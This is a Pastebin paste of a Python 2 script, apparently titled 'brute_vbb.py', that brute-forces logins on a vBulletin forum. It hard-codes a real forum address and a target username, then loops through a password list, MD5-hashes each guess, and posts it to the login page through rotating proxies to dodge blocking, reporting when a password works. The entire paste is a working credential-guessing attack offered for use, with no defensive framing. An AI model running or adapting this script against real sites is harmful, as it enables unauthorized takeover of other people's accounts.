Advertisement
parkdream1

brute_vbb.py

Jul 13th, 2012
391
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.14 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: UTF-8 -*-
  3.  
  4. #  '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  5. #                           brute force  : vbulletin
  6. #                           powered by : s1a4a
  7. #                           email : s1a4a@hotmail.com
  8. #  '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  9.  
  10. import sys
  11. import urllib2
  12. import urllib
  13. import re
  14. import hashlib
  15. import md5
  16. import time
  17. import httplib
  18. import socket
  19.  
  20. print """
  21.  
  22. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  23.                        brute force  : vbulletin
  24.                        powered by : s1a4a
  25.                        email : s1a4a@hotmail.com
  26. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  27.  
  28. """
  29.  
  30. f1 = open('proxy.txt', 'r')
  31. f2 = open('pass.txt', 'r')
  32. a = f1.read().split('\n')
  33. r = f2.read().split('\n')
  34. z = len(a)
  35. f = len(r)
  36. c = 0
  37. d = 0
  38.  
  39. site = 'http://aoevietnam.org'    # << site
  40. #adm = u'محمد'.encode("windows-1256")    # << user ar
  41. adm = '5kytu'     # << user en
  42. rest = 'login.php?do=login'
  43.  
  44. while(range(c, z) and range(d, f)):
  45.    
  46.     time.sleep(1)
  47.     try:
  48.         hash = md5.new(r[d])
  49.         ps1 = hash.hexdigest()
  50.         proxy_handler = urllib2.ProxyHandler({'http': a[c]})
  51.         opener = urllib2.build_opener(proxy_handler)
  52.         opener.addheaders = [('User-agent', 'Mozilla/5.0')]
  53.         urllib2.install_opener(opener)
  54.         para = urllib.urlencode({'do':'login', 'vb_login_md5password':ps1, 'vb_login_username':adm})
  55.         req  = urllib2.Request(site+rest)
  56.         fd   = urllib2.urlopen(req,para, timeout = 30)
  57.         data = fd.read()
  58.         match= re.search(r'vb_login_username(\.*)', data)
  59.         if match:
  60.             print '[-] pass: %s site: %s      %s  -  (not found)' % (r[d],  site , a[c])
  61.             d+=1
  62.         else:
  63.             print '[+] pass : %s site: %s   %s - (found)' % (r[d],  site , a[c])
  64.             break
  65.     except :  
  66.         print '[Retry] pass : %s    %s'% (r[d] , a[c])
  67.         try:
  68.             hash = md5.new(r[d])
  69.             ps1 = hash.hexdigest()
  70.             proxy_handler = urllib2.ProxyHandler({'http': a[d+1]})
  71.             opener = urllib2.build_opener(proxy_handler)
  72.             opener.addheaders = [('User-agent', 'Mozilla/5.0')]
  73.             urllib2.install_opener(opener)
  74.             para = urllib.urlencode({'do':'login', 'vb_login_md5password':ps1, 'vb_login_username':adm})
  75.             req  = urllib2.Request(site+rest)
  76.             fd   = urllib2.urlopen(req,para, timeout = 30)
  77.             data = fd.read()
  78.             match= re.search(r'vb_login_username(\.*)', data)
  79.             if match:
  80.                 print '[-] pass: %s site: %s      %s  -  (not found)' % (r[d],  site , a[c+1])
  81.                 d+=1
  82.             else:
  83.                 print '[+] pass : %s site: %s   %s - (found)' % (r[d],  site , a[c+1])
  84.                 break
  85.         except :  
  86.             print "[[Failed to connect]]"
  87.        
  88.     c+=1
  89.        
  90.    
  91. f1.close()
  92. f2.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement